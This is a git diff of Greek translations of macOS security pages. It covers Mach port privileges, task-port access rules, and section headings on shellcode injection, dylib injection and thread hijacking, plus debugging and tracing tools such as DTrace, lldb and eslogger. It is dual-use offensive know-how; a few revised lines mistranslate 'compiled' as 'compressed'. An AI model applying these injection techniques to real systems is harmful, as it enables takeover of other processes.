στιγμή μόνο **μία διεργασία μπορεί να διαβάσει** από αυτήν. ### Καταμέτρηση θυρών ```bash lsmp -p ``` -Μπορείτε να εγκαταστήσετε αυτό το εργαλείο στο iOS κατεβάζοντας το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) +Μπορείτε να εγκαταστήσετε αυτό το εργαλείο σε iOS κατεβάζοντας το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) ### Παράδειγμα κώδικα @@ -227,16 +227,16 @@ printf("Sent a message\n"); ### Προνομιακές Θύρες -- **Θύρα φιλοξενίας**: Εάν μια διαδικασία έχει **Δικαιώματα Αποστολής** σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** σχετικά με το **σύστημα** (π.χ. `host_processor_info`). -- **Θύρα φιλοξενίας με δικαιώματα**: Μια διαδικασία με **Δικαιώματα Αποστολής** σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως η φόρτωση μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια. +- **Θύρα φιλοξενίας**: Εάν μια διαδικασία έχει **δικαίωμα Αποστολής** σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** για το **σύστημα** (π.χ. `host_processor_info`). +- **Θύρα φιλοξενίας με δικαιώματα**: Μια διαδικασία με **δικαίωμα Αποστολής** σε αυτή τη θύρα μπορεί να εκτελεί **προνομιακές ενέργειες** όπως η φόρτωση μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια. - Επιπλέον, για να καλέσετε το API **`kext_request`** απαιτείται να έχετε άλλες εξουσιοδοτήσεις **`com.apple.private.kext*`** που δίνονται μόνο σε δυαδικά αρχεία της Apple. - **Θύρα ονόματος εργασίας:** Μια μη προνομιακή έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχο της. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`. - **Θύρα εργασίας** (aka θύρα πυρήνα)**:** Με άδεια Αποστολής σε αυτή τη θύρα είναι δυνατός ο έλεγχος της εργασίας (ανάγνωση/γραφή μνήμης, δημιουργία νημάτων...). -- Καλέστε το `mach_task_self()` για να **πάρετε το όνομα** αυτής της θύρας για την καλούσα εργασία. Αυτή η θύρα είναι μόνο **κληρονομούμενη** μέσω του **`exec()`**; μια νέα εργασία που δημιουργείται με `fork()` αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό αρχείο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον ["χορό ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) κατά τη διάρκεια ενός `fork()`. +- Καλέστε το `mach_task_self()` για να **πάρετε το όνομα** αυτής της θύρας για την καλούσα εργασία. Αυτή η θύρα είναι μόνο **κληρονομούμενη** μέσω του **`exec()`**; μια νέα εργασία που δημιουργείται με `fork()` αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό αρχείο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον ["χορό ανταλλαγής θύρας"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) κατά τη διάρκεια ενός `fork()`. - Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το `macos_task_policy` από το δυαδικό αρχείο `AppleMobileFileIntegrity`): -- Εάν η εφαρμογή έχει **`com.apple.security.get-task-allow` εξουσιοδότηση**, διαδικασίες από τον **ίδιο χρήστη μπορούν να αποκτήσουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **πιστοποίησης** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις. -- Εφαρμογές με την **`com.apple.system-task-ports`** εξουσιοδότηση μπορούν να αποκτήσουν τη **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple. -- **Ο root μπορεί να αποκτήσει πρόσβαση στις θύρες εργασίας** εφαρμογών **που δεν** έχουν μεταγλωττιστεί με **σκληρυμένο** χρόνο εκτέλεσης (και όχι από την Apple). +- Εάν η εφαρμογή έχει **εξουσιοδότηση `com.apple.security.get-task-allow`**, διαδικασίες από τον **ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **πιστοποίησης** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις. +- Εφαρμογές με την **εξουσιοδότηση `com.apple.system-task-ports`** μπορούν να αποκτήσουν τη **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple. +- **Ο root μπορεί να έχει πρόσβαση σε θύρες εργασίας** εφαρμογών **που δεν** έχουν μεταγλωττιστεί με **σκληρή** εκτέλεση (και όχι από την Apple). ### Εισαγωγή Shellcode σε νήμα μέσω Θύρας Εργασίας @@ -500,14 +500,15 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ``` ### Dylib Injection in thread via Task port -Στο macOS, **threads** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας **posix `pthread` api**. Ο thread που δημιουργήσαμε στην προηγούμενη ένεση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατός με posix**. +Στο macOS, οι **νήματα** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήσαμε στην προηγούμενη ένεση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατό με posix**. -Ήταν δυνατό να **εισαχθεί ένα απλό shellcode** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με apis συμβατές με posix**, μόνο με Mach. **Πιο σύνθετες ενέσεις** θα χρειάζονταν ο **thread** να είναι επίσης **συμβατός με posix**. +Ήταν δυνατό να **εισαχθεί ένας απλός κώδικας** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με apis συμβατά με posix**, μόνο με Mach. **Πιο σύνθετες ενέσεις** θα χρειάζονταν το **νήμα** να είναι επίσης **συμβατό με posix**. -Επομένως, για να **βελτιωθεί ο thread** θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτός ο νέος pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράφουμε νέο shellcode για να εκτελέσουμε διάφορες ενέργειες, είναι δυνατό να φορτώσουμε προσαρμοσμένες βιβλιοθήκες. +Επομένως, για να **βελτιωθεί το νήμα**, θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι ώστε αντί να γράφει νέο κώδικα για να εκτελέσει διάφορες ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες. Μπορείτε να βρείτε **παραδείγματα dylibs** σε (για παράδειγμα, αυτό που δημιουργεί ένα log και στη συνέχεια μπορείτε να το ακούσετε): + {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md {{#endref}} @@ -790,9 +791,10 @@ fprintf(stderr,"Dylib not found\n"); gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` -### Thread Hijacking via Task port +### Hijacking Νήματος μέσω Task port + +Σε αυτή την τεχνική, ένα νήμα της διαδικασίας παρεμποδίζεται: -Σε αυτή την τεχνική, ένα νήμα της διαδικασίας καταλαμβάνεται: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -800,11 +802,12 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ## XPC -### Basic Information +### Βασικές Πληροφορίες -Το XPC, που σημαίνει XNU (ο πυρήνας που χρησιμοποιείται από το macOS) inter-Process Communication, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διαδικασιών** στο macOS και το iOS. Το XPC παρέχει έναν μηχανισμό για **ασφαλείς, ασύγχρονες κλήσεις μεθόδων μεταξύ διαφορετικών διαδικασιών** στο σύστημα. Είναι μέρος της ασφάλειας της Apple, επιτρέποντας τη **δημιουργία εφαρμογών με διαχωρισμένα δικαιώματα** όπου κάθε **συστατικό** εκτελείται με **μόνο τα δικαιώματα που χρειάζεται** για να κάνει τη δουλειά του, περιορίζοντας έτσι τη δυνητική ζημιά από μια συμβιβασμένη διαδικασία. +Το XPC, που σημαίνει XNU (ο πυρήνας που χρησιμοποιείται από το macOS) inter-Process Communication, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διαδικασιών** στο macOS και το iOS. Το XPC παρέχει έναν μηχανισμό για **ασφαλείς, ασύγχρονες κλήσεις μεθόδων μεταξύ διαφορετικών διαδικασιών** στο σύστημα. Είναι μέρος της ασφάλειας της Apple, επιτρέποντας τη **δημιουργία εφαρμογών με διαχωρισμένα δικαιώματα** όπου κάθε **συστατικό** εκτελείται με **μόνο τα δικαιώματα που χρειάζεται** για να κάνει τη δουλειά του, περιορίζοντας έτσι τη δυνητική ζημιά από μια παραβιασμένη διαδικασία. + +Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η **επικοινωνία λειτουργεί** και πώς θα μπορούσε να είναι ευάλωτη, ελέγξτε: -Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η **επικοινωνία λειτουργεί** και πώς θα μπορούσε να είναι **ευάλωτη**, ελέγξτε: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ @@ -816,11 +819,12 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector Για περισσότερες πληροφορίες, ελέγξτε: + {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}} -## References +## Αναφορές - [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) - [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 79c280f84..ffe368606 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -50,11 +50,11 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom # Get MIG information jtool2 -d __DATA.__const myipc_server | grep MIG ``` -> [!CAUTION] > **Το jtool έχει καταργηθεί υπέρ του disarm** +> [!CAUTION] > **Το jtool είναι παρωχημένο υπέρ του disarm** ### Codesign / ldid -> [!TIP] > **`Codesign`** μπορεί να βρεθεί στο **macOS** ενώ **`ldid`** μπορεί να βρεθεί στο **iOS** +> [!TIP] > **`Codesign`** μπορεί να βρεθεί σε **macOS** ενώ **`ldid`** μπορεί να βρεθεί σε **iOS** ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -88,7 +88,7 @@ ldid -S/tmp/entl.xml ### hdiutil -Αυτό το εργαλείο επιτρέπει να **mount** τις εικόνες δίσκων της Apple (**.dmg**) για να τις επιθεωρήσετε πριν τρέξετε οτιδήποτε: +Αυτό το εργαλείο επιτρέπει να **mount** τα Apple disk images (**.dmg**) αρχεία για να τα επιθεωρήσετε πριν τρέξετε οτιδήποτε: ```bash hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ``` @@ -96,8 +96,8 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ### Συμπιεσμένα δυαδικά -- Ελέγξτε για υψηλή εντροπία -- Ελέγξτε τις συμβολοσειρές (αν δεν υπάρχει σχεδόν καμία κατανοητή συμβολοσειρά, συμπιεσμένο) +- Έλεγχος για υψηλή εντροπία +- Έλεγχος των συμβολοσειρών (αν σχεδόν δεν υπάρχει κατανοητή συμβολοσειρά, συμπιεσμένο) - Ο συμπιεστής UPX για MacOS δημιουργεί μια ενότητα που ονομάζεται "\_\_XHDR" ## Στατική ανάλυση Objective-C @@ -105,7 +105,7 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ### Μεταδεδομένα > [!CAUTION] -> Σημειώστε ότι τα προγράμματα που έχουν γραφτεί σε Objective-C **διατηρούν** τις δηλώσεις κλάσης τους **όταν** **μεταγλωττίζονται** σε [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Τέτοιες δηλώσεις κλάσης **περιλαμβάνουν** το όνομα και τον τύπο των: +> Σημειώστε ότι τα προγράμματα που έχουν γραφτεί σε Objective-C **διατηρούν** τις δηλώσεις κλάσης τους **όταν** **συμπιέζονται** σε [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Τέτοιες δηλώσεις κλάσης **περιλαμβάνουν** το όνομα και τον τύπο των: - Των διεπαφών που ορίζονται - Των μεθόδων διεπαφής @@ -116,13 +116,13 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ### Κλήση συναρτήσεων -Όταν καλείται μια συνάρτηση σε ένα δυαδικό που χρησιμοποιεί Objective-C, ο μεταγλωττισμένος κώδικας αντί να καλεί αυτή τη συνάρτηση, θα καλέσει **`objc_msgSend`**. Αυτό θα καλεί τη τελική συνάρτηση: +Όταν καλείται μια συνάρτηση σε ένα δυαδικό που χρησιμοποιεί Objective-C, ο συμπιεσμένος κώδικας αντί να καλεί αυτή τη συνάρτηση, θα καλέσει **`objc_msgSend`**. Αυτό θα καλεί τη τελική συνάρτηση: ![](<../../../images/image (305).png>) Οι παράμετροι που αναμένει αυτή η συνάρτηση είναι: -- Η πρώτη παράμετρος (**self**) είναι "ένας δείκτης που δείχνει στην **περίπτωση της κλάσης που θα λάβει το μήνυμα**". Ή πιο απλά, είναι το αντικείμενο πάνω στο οποίο καλείται η μέθοδος. Αν η μέθοδος είναι μέθοδος κλάσης, αυτό θα είναι μια περίπτωση του αντικειμένου κλάσης (ως σύνολο), ενώ για μια μέθοδο στιγμής, το self θα δείχνει σε μια instantiated περίπτωση της κλάσης ως αντικείμενο. +- Η πρώτη παράμετρος (**self**) είναι "ένας δείκτης που δείχνει στην **περίπτωση της κλάσης που θα λάβει το μήνυμα**". Ή πιο απλά, είναι το αντικείμενο πάνω στο οποίο καλείται η μέθοδος. Αν η μέθοδος είναι μέθοδος κλάσης, αυτό θα είναι μια περίπτωση του αντικειμένου κλάσης (ως σύνολο), ενώ για μια μέθοδο στιγμής, το self θα δείχνει σε μια δημιουργημένη περίπτωση της κλάσης ως αντικείμενο. - Η δεύτερη παράμετρος, (**op**), είναι "ο επιλεγέας της μεθόδου που χειρίζεται το μήνυμα". Και πάλι, πιο απλά, αυτό είναι απλώς το **όνομα της μεθόδου.** - Οι υπόλοιπες παράμετροι είναι οποιεσδήποτε **τιμές απαιτούνται από τη μέθοδο** (op). @@ -162,9 +162,9 @@ objdump --macho --objc-meta-data /path/to/bin ``` #### class-dump -[**class-dump**](https://github.com/nygard/class-dump/) είναι το αρχικό εργαλείο που δημιουργεί δηλώσεις για τις κλάσεις, τις κατηγορίες και τα πρωτόκολλα σε κώδικα μορφής ObjetiveC. +[**class-dump**](https://github.com/nygard/class-dump/) είναι το αρχικό εργαλείο που δημιουργεί δηλώσεις για τις κλάσεις, κατηγορίες και πρωτόκολλα σε κώδικα μορφής ObjectiveC. -Είναι παλιό και δεν συντηρείται, οπότε πιθανότατα δεν θα λειτουργήσει σωστά. +Είναι παλιό και δεν συντηρείται, οπότε πιθανότατα δεν θα λειτουργεί σωστά. #### ICDump @@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture ``` Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με το [**πληροφορίες που αποθηκεύονται σε αυτήν την ενότητα σε αυτήν την ανάρτηση ιστολογίου**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html). -Επιπλέον, **τα Swift binaries μπορεί να έχουν σύμβολα** (για παράδειγμα, οι βιβλιοθήκες χρειάζεται να αποθηκεύουν σύμβολα ώστε οι συναρτήσεις τους να μπορούν να καλούνται). Τα **σύμβολα συνήθως έχουν πληροφορίες σχετικά με το όνομα της συνάρτησης** και τα attr με άσχημο τρόπο, οπότε είναι πολύ χρήσιμα και υπάρχουν "**demanglers"** που μπορούν να πάρουν το αρχικό όνομα: +Επιπλέον, **τα Swift binaries μπορεί να έχουν σύμβολα** (για παράδειγμα, οι βιβλιοθήκες χρειάζονται να αποθηκεύουν σύμβολα ώστε οι συναρτήσεις τους να μπορούν να καλούνται). Τα **σύμβολα συνήθως έχουν τις πληροφορίες σχετικά με το όνομα της συνάρτησης** και τα attr με άσχημο τρόπο, οπότε είναι πολύ χρήσιμα και υπάρχουν "**demanglers"** που μπορούν να πάρουν το αρχικό όνομα: ```bash # Ghidra plugin https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py @@ -211,26 +211,26 @@ swift demangle ### APIs -Το macOS εκθέτει μερικά ενδιαφέροντα APIs που παρέχουν πληροφορίες σχετικά με τις διεργασίες: +Το macOS εκθέτει μερικά ενδιαφέροντα APIs που παρέχουν πληροφορίες σχετικά με τις διαδικασίες: -- `proc_info`: Αυτό είναι το κύριο που παρέχει πολλές πληροφορίες για κάθε διεργασία. Πρέπει να είστε root για να αποκτήσετε πληροφορίες για άλλες διεργασίες, αλλά δεν χρειάζεστε ειδικά δικαιώματα ή mach ports. -- `libsysmon.dylib`: Επιτρέπει την απόκτηση πληροφοριών σχετικά με τις διεργασίες μέσω εκτεθειμένων συναρτήσεων XPC, ωστόσο, απαιτείται να έχετε το δικαίωμα `com.apple.sysmond.client`. +- `proc_info`: Αυτό είναι το κύριο που παρέχει πολλές πληροφορίες για κάθε διαδικασία. Πρέπει να είστε root για να αποκτήσετε πληροφορίες για άλλες διαδικασίες, αλλά δεν χρειάζεστε ειδικά δικαιώματα ή mach ports. +- `libsysmon.dylib`: Επιτρέπει την απόκτηση πληροφοριών σχετικά με διαδικασίες μέσω εκτεθειμένων συναρτήσεων XPC, ωστόσο, απαιτείται να έχετε το δικαίωμα `com.apple.sysmond.client`. ### Stackshot & microstackshots -**Stackshotting** είναι μια τεχνική που χρησιμοποιείται για την καταγραφή της κατάστασης των διεργασιών, συμπεριλαμβανομένων των στοίβων κλήσεων όλων των εκτελούμενων νημάτων. Αυτό είναι ιδιαίτερα χρήσιμο για αποσφαλμάτωση, ανάλυση απόδοσης και κατανόηση της συμπεριφοράς του συστήματος σε μια συγκεκριμένη χρονική στιγμή. Στο iOS και το macOS, το stackshotting μπορεί να πραγματοποιηθεί χρησιμοποιώντας διάφορα εργαλεία και μεθόδους όπως τα εργαλεία **`sample`** και **`spindump`**. +**Stackshotting** είναι μια τεχνική που χρησιμοποιείται για την καταγραφή της κατάστασης των διαδικασιών, συμπεριλαμβανομένων των στοίβων κλήσεων όλων των εκτελούμενων νημάτων. Αυτό είναι ιδιαίτερα χρήσιμο για αποσφαλμάτωση, ανάλυση απόδοσης και κατανόηση της συμπεριφοράς του συστήματος σε μια συγκεκριμένη χρονική στιγμή. Στο iOS και το macOS, το stackshotting μπορεί να πραγματοποιηθεί χρησιμοποιώντας διάφορα εργαλεία και μεθόδους όπως τα εργαλεία **`sample`** και **`spindump`**. ### Sysdiagnose Αυτό το εργαλείο (`/usr/bini/ysdiagnose`) συλλέγει βασικά πολλές πληροφορίες από τον υπολογιστή σας εκτελώντας δεκάδες διαφορετικές εντολές όπως `ps`, `zprint`... -Πρέπει να εκτελείται ως **root** και ο δαίμονας `/usr/libexec/sysdiagnosed` έχει πολύ ενδιαφέροντα δικαιώματα όπως `com.apple.system-task-ports` και `get-task-allow`. +Πρέπει να εκτελείται ως **root** και η διεργασία `/usr/libexec/sysdiagnosed` έχει πολύ ενδιαφέροντα δικαιώματα όπως `com.apple.system-task-ports` και `get-task-allow`. Η plist του βρίσκεται στο `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` που δηλώνει 3 MachServices: - `com.apple.sysdiagnose.CacheDelete`: Διαγράφει παλιές αρχειοθετήσεις στο /var/rmp - `com.apple.sysdiagnose.kernel.ipc`: Ειδική θύρα 23 (kernel) -- `com.apple.sysdiagnose.service.xpc`: Διεπαφή λειτουργικού χρήστη μέσω της κλάσης `Libsysdiagnose` Obj-C. Τρία επιχειρήματα σε ένα dict μπορούν να περαστούν (`compress`, `display`, `run`) +- `com.apple.sysdiagnose.service.xpc`: Διεπαφή λειτουργικού επιπέδου μέσω της κλάσης `Libsysdiagnose` Obj-C. Τρία επιχειρήματα σε ένα dict μπορούν να περαστούν (`compress`, `display`, `run`) ### Ενοποιημένα Καταγραφικά @@ -267,7 +267,7 @@ swift demangle Το DTrace χρησιμοποιεί τη συνάρτηση **`dtrace_probe_create`** για να δημιουργήσει ένα probe για κάθε κλήση συστήματος. Αυτά τα probes μπορούν να ενεργοποιηθούν στο **σημείο εισόδου και εξόδου κάθε κλήσης συστήματος**. Η αλληλεπίδραση με το DTrace συμβαίνει μέσω του /dev/dtrace που είναι διαθέσιμο μόνο για τον χρήστη root. > [!TIP] -> Για να ενεργοποιήσετε το Dtrace χωρίς να απενεργοποιήσετε πλήρως την προστασία SIP μπορείτε να εκτελέσετε σε λειτουργία ανάκτησης: `csrutil enable --without dtrace` +> Για να ενεργοποιήσετε το Dtrace χωρίς να απενεργοποιήσετε πλήρως την προστασία SIP, μπορείτε να εκτελέσετε σε λειτουργία ανάκτησης: `csrutil enable --without dtrace` > > Μπορείτε επίσης να χρησιμοποιήσετε τα δυαδικά αρχεία **`dtrace`** ή **`dtruss`** που **έχετε συντάξει**. @@ -343,13 +343,13 @@ dtruss -c -p 1000 #get syscalls of PID 1000 Εργαλεία όπως το `latency`, `sc_usage`, `fs_usage` και `trace` το χρησιμοποιούν εσωτερικά. -Για να αλληλεπιδράσετε με το `kdebug`, χρησιμοποιείται το `sysctl` μέσω του ονόσματος χώρου `kern.kdebug` και οι MIBs που πρέπει να χρησιμοποιηθούν μπορούν να βρεθούν στο `sys/sysctl.h`, με τις συναρτήσεις να είναι υλοποιημένες στο `bsd/kern/kdebug.c`. +Για να αλληλεπιδράσετε με το `kdebug`, χρησιμοποιείται το `sysctl` μέσω του ονόματος χώρου `kern.kdebug` και οι MIBs που πρέπει να χρησιμοποιηθούν μπορούν να βρεθούν στο `sys/sysctl.h`, με τις συναρτήσεις να είναι υλοποιημένες στο `bsd/kern/kdebug.c`. Για να αλληλεπιδράσετε με το kdebug με έναν προσαρμοσμένο πελάτη, αυτά είναι συνήθως τα βήματα: - Αφαιρέστε τις υπάρχουσες ρυθμίσεις με KERN_KDSETREMOVE - Ρυθμίστε την παρακολούθηση με KERN_KDSETBUF και KERN_KDSETUP -- Χρησιμοποιήστε KERN_KDGETBUF για να αποκτήσετε τον αριθμό των εγγραφών του buffer +- Χρησιμοποιήστε το KERN_KDGETBUF για να αποκτήσετε τον αριθμό των εγγραφών του buffer - Αποκτήστε τον δικό σας πελάτη από την παρακολούθηση με KERN_KDPINDEX - Ενεργοποιήστε την παρακολούθηση με KERN_KDENABLE - Διαβάστε το buffer καλώντας KERN_KDREADTR @@ -365,7 +365,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000 Μπορείτε να το χρησιμοποιήσετε ακόμη και με **SIP ενεργοποιημένο**. -Μπορείτε να χρησιμοποιήσετε ως πελάτες το εργαλείο `ktrace`: +Μπορείτε να χρησιμοποιήσετε ως πελάτες την υπηρεσία `ktrace`: ```bash ktrace trace -s -S -t c -c ls | grep "ls(" ``` @@ -377,7 +377,7 @@ Or `tailspin`. Βασικά, ελέγχεται η παγκόσμια μεταβλητή `kernel_debug_active` και αν είναι ενεργοποιημένη καλεί τον `kperf_kdebug_handler` με τον κωδικό `Kdebug` και τη διεύθυνση του πλαισίου πυρήνα που καλεί. Αν ο κωδικός `Kdebug` ταιριάζει με έναν επιλεγμένο, αποκτά τις "ενέργειες" που έχουν ρυθμιστεί ως bitmap (ελέγξτε το `osfmk/kperf/action.h` για τις επιλογές). -Το kperf έχει επίσης έναν πίνακα MIB sysctl: (ως root) `sysctl kperf`. Αυτοί οι κωδικοί μπορούν να βρεθούν στο `osfmk/kperf/kperfbsd.c`. +Το Kperf έχει επίσης έναν πίνακα MIB sysctl: (ως root) `sysctl kperf`. Αυτοί οι κωδικοί μπορούν να βρεθούν στο `osfmk/kperf/kperfbsd.c`. Επιπλέον, ένα υποσύνολο της λειτουργικότητας του Kperf βρίσκεται στο `kpc`, το οποίο παρέχει πληροφορίες σχετικά με τους μετρητές απόδοσης της μηχανής. @@ -388,7 +388,7 @@ Or `tailspin`. ### SpriteTree [**SpriteTree**](https://themittenmac.com/tools/) είναι ένα εργαλείο που εκτυπώνει τις σχέσεις μεταξύ διαδικασιών.\ -Πρέπει να παρακολουθήσετε το mac σας με μια εντολή όπως **`sudo eslogger fork exec rename create > cap.json`** (ο τερματικός σταθμός που εκκινεί αυτό απαιτεί FDA). Και στη συνέχεια μπορείτε να φορτώσετε το json σε αυτό το εργαλείο για να δείτε όλες τις σχέσεις: +Πρέπει να παρακολουθήσετε το mac σας με μια εντολή όπως **`sudo eslogger fork exec rename create > cap.json`** (ο τερματικός που εκκινεί αυτό απαιτεί FDA). Και στη συνέχεια μπορείτε να φορτώσετε το json σε αυτό το εργαλείο για να δείτε όλες τις σχέσεις:
@@ -398,7 +398,7 @@ Or `tailspin`. ### Crescendo -[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) είναι ένα εργαλείο GUI με την εμφάνιση και την αίσθηση που μπορεί να γνωρίζουν οι χρήστες Windows από το _Procmon_ της Microsoft Sysinternal. Αυτό το εργαλείο επιτρέπει την καταγραφή διαφόρων τύπων γεγονότων να ξεκινά και να σταματά, επιτρέπει τη φιλτράρισή τους κατά κατηγορίες όπως αρχείο, διαδικασία, δίκτυο κ.λπ., και παρέχει τη δυνατότητα αποθήκευσης των καταγεγραμμένων γεγονότων σε μορφή json. +[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) είναι ένα εργαλείο GUI με την εμφάνιση και την αίσθηση που μπορεί να γνωρίζουν οι χρήστες των Windows από το _Procmon_ της Microsoft Sysinternal. Αυτό το εργαλείο επιτρέπει την καταγραφή διαφόρων τύπων γεγονότων να ξεκινά και να σταματά, επιτρέπει τη φιλτράρισή τους κατά κατηγορίες όπως αρχείο, διαδικασία, δίκτυο κ.λπ., και παρέχει τη δυνατότητα αποθήκευσης των καταγεγραμμένων γεγονότων σε μορφή json. ### Apple Instruments @@ -420,7 +420,7 @@ fs_usage -w -f network curl #This tracks network actions ## PT_DENY_ATTACH -Στο [**αυτό το blog post**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) μπορείτε να βρείτε ένα παράδειγμα για το πώς να **αποσφαλματώσετε έναν εκτελούμενο δαίμονα** που χρησιμοποίησε **`PT_DENY_ATTACH`** για να αποτρέψει την αποσφαλμάτωση ακόμη και αν το SIP ήταν απενεργοποιημένο. +Στο [**αυτό το blog post**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) μπορείτε να βρείτε ένα παράδειγμα για το πώς να **αποσφαλματώσετε έναν εκτελούμενο δαίμονα** που χρησιμοποιεί **`PT_DENY_ATTACH`** για να αποτρέψει την αποσφαλμάτωση ακόμη και αν το SIP ήταν απενεργοποιημένο. ### lldb @@ -431,17 +431,17 @@ lldb -p 1122 lldb -n malware.bin lldb -n malware.bin --waitfor ``` -Μπορείτε να ορίσετε την γεύση intel όταν χρησιμοποιείτε lldb δημιουργώντας ένα αρχείο με όνομα **`.lldbinit`** στον φάκελο του σπιτιού σας με την εξής γραμμή: +Μπορείτε να ορίσετε τη γεύση intel όταν χρησιμοποιείτε lldb δημιουργώντας ένα αρχείο με όνομα **`.lldbinit`** στον φάκελο του σπιτιού σας με την εξής γραμμή: ```bash settings set target.x86-disassembly-flavor intel ``` > [!WARNING] > Μέσα στο lldb, εκτελέστε μια διαδικασία με `process save-core` -
(lldb) ΕντολήΠεριγραφή
run (r)Ξεκινά την εκτέλεση, η οποία θα συνεχιστεί αδιάκοπα μέχρι να χτυπήσει ένα breakpoint ή να τερματιστεί η διαδικασία.
process launch --stop-at-entryΞεκινά την εκτέλεση σταματώντας στο σημείο εισόδου
continue (c)Συνεχίζει την εκτέλεση της διαδικασίας που αποσφαλματώνεται.
nexti (n / ni)Εκτελεί την επόμενη εντολή. Αυτή η εντολή θα παραλείψει τις κλήσεις συναρτήσεων.
